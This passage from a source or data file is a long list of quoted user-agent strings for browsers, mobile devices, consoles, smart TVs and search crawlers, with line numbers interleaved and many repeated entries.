"Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
2035
"wii libnup/1.0",
2036
"Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
2037
"PSP (PlayStation Portable); 2.00",
2038
"Bunjalloo/0.7.6(Nintendo DS;U;en)",
2039
"Doris/1.15 [en] (Symbian)",
2040
"BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2041
"BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
2042
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
2043
"Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
2044
"Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
2045
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
2046
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
2047
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
2048
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
2049
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
2050
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
2051
"SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2052
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
2053
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
2054
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
2055
"MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
2056
"Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
2057
"Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
2058
"MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2059
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2060
"Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
2061
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2062
"Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
2063
"Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
2064
"Opera/6.04 (Windows XP; U) [en]",
2065
"Opera/9.99 (X11; U; sk)",
2066
"Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
2067
"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
2068
"Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
2069
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
2070
"Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
2071
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
2072
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
2073
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
2074
"Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
2075
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
2076
"Firefox/3.5.3",
2077
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
2078
"Firefox/3.5.3 (.NET CLR 3.5.30729)",
2079
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
2080
"Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
2081
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
2082
"Gecko/20090718 Firefox/3.5.1",
2083
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
2084
"(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
2085
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
2086
"SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
2087
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
2088
".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
2089
"3.0.30729)",
2090
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
2091
"Trident/4.0)",
2092
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
2093
".NET CLR 2.0.50727; InfoPath.2)",
2094
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
2095
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
2096
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2097
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
2098
"Chrome/41.0.2228.0 Safari/537.36",
2099
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
2100
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
2101
"Version/12.16",
2102
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
2103
"Gecko",
2104
"Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
2105
"like Gecko",
2106
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
2107
"(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
2108
"Baiduspider+(+http://www.baidu.com/search/spider.htm)",
2109
"Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
2110
"Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
2111
"Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
2112
"BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
2113
"zspider/0.9-dev http://feedback.redkolibri.com/",
2114
"Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
2115
"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
2116
"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
2117
"Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
2118
"Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
2119
"Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
2120
"Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
2121
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
2122
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
2123
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
2124
"TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
2125
"TheSuBot/0.2 (www.thesubot.de)",
2126
"TheSuBot/0.1 (www.thesubot.de)",
2127
"FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
2128
"FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
2129
"FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
2130
"FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
2131
"FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
2132
"FAST-WebCrawler/3.x Multimedia",
2133
"Mozilla/4.0 (compatible: FDSE robot)",
2134
"findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
2135
"findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
2136
"findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
2137
"findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
2138
"findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
2139
"Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
2140
"Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
2141
"Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
2142
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
2143
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
2144
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
2145
"Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
2146
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
2147
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
2148
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
2149
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
2150
"AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
2151
"AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
2152
"AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
2153
"AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
2154
"AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
2155
"AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
2156
"AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
2157
"AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
2158
"AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
2159
"AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
2160
"AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
2161
"AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
2162
"magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
2163
"Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
2164
"Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
2165
"MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
2166
"MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
2167
"Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
2168
"MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
2169
"Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
2170
"Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
2171
"msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
2172
"msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
2173
"msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
2174
"MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
2175
"Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
2176
"Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
2177
"NetResearchServer/4.0(loopimprovements.com/robot.html)",
2178
"NetResearchServer/3.5(loopimprovements.com/robot.html)",
2179
"NetResearchServer/2.8(loopimprovements.com/robot.html)",
2180
"NetResearchServer/2.7(loopimprovements.com/robot.html)",
2181
"NetResearchServer/2.5(loopimprovements.com/robot.html)",
2182
"Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
2183
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
2184
"Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
2185
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
2186
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
2187
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
2188
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
2189
"Opera/9.20 (Windows NT 6.0; U; en)",
2190
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
2191
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
2192
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
2193
"Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
2194
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
2195
"Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
2196
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
2197
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
2198
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
2199
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
2200
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
2201
"Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
2202
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
2203
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
2204
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
2205
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
2206
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
2207
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
2208
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
2209
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2210
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
2211
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
2212
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
2213
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
2214
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
2215
"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
2216
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
2217
"Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
2218
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
2219
"Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
2220
"wii libnup/1.0",
2221
"PSP (PlayStation Portable); 2.00",
2222
"Bunjalloo/0.7.6(Nintendo DS;U;en)",
2223
"Doris/1.15 [en] (Symbian)",
2224
"BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2225
"BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
2226
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
2227
"Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
2228
"Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
2229
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
2230
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
2231
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
2232
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
2233
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
2234
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
2235
"SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2236
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
2237
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
2238
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
2239
"MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
2240
"Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
2241
"Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
2242
"MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
2243
"Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
2244
"Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
2245
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
2246
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
2247
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
2248
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
2249
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2250
"Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
2251
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2252
"Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
2253
"Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
2254
"Opera/6.04 (Windows XP; U) [en]",
2255
"Opera/9.99 (X11; U; sk)",
2256
"Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
2257
"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
2258
"Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
2259
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
2260
"Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
2261
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
2262
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
2263
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
2264
"Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
2265
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
2266
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
2267
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
2268
"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
2269
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
2270
"Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
2271
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
2272
"Mozilla/5.0 (PLAYSTATION 3; 3.55)",
2273
"Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
2274
"wii libnup/1.0",
2275
"Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
2276
"PSP (PlayStation Portable); 2.00",
2277
"Gigabot/3.0 (http://www.gigablast.com/spider.html)",
2278
"Bunjalloo/0.7.6(Nintendo DS;U;en)",
2279
"LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
2280
"Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
2281
"Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
2282
"Doris/1.15 [en] (Symbian)",
2283
"BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2284
"BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
2285
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
2286
"Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
2287
"Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
2288
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
2289
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
2290
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
2291
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
2292
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
2293
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
2294
"SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
2295
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
2296
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
2297
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
2298
"MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
2299
"Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
2300
"Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
2301
"MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
2302
"Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
2303
"Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
2304
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
2305
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
2306
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
2307
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
2308
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
2309
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
2310
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
2311
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
2312
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
2313
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
2314
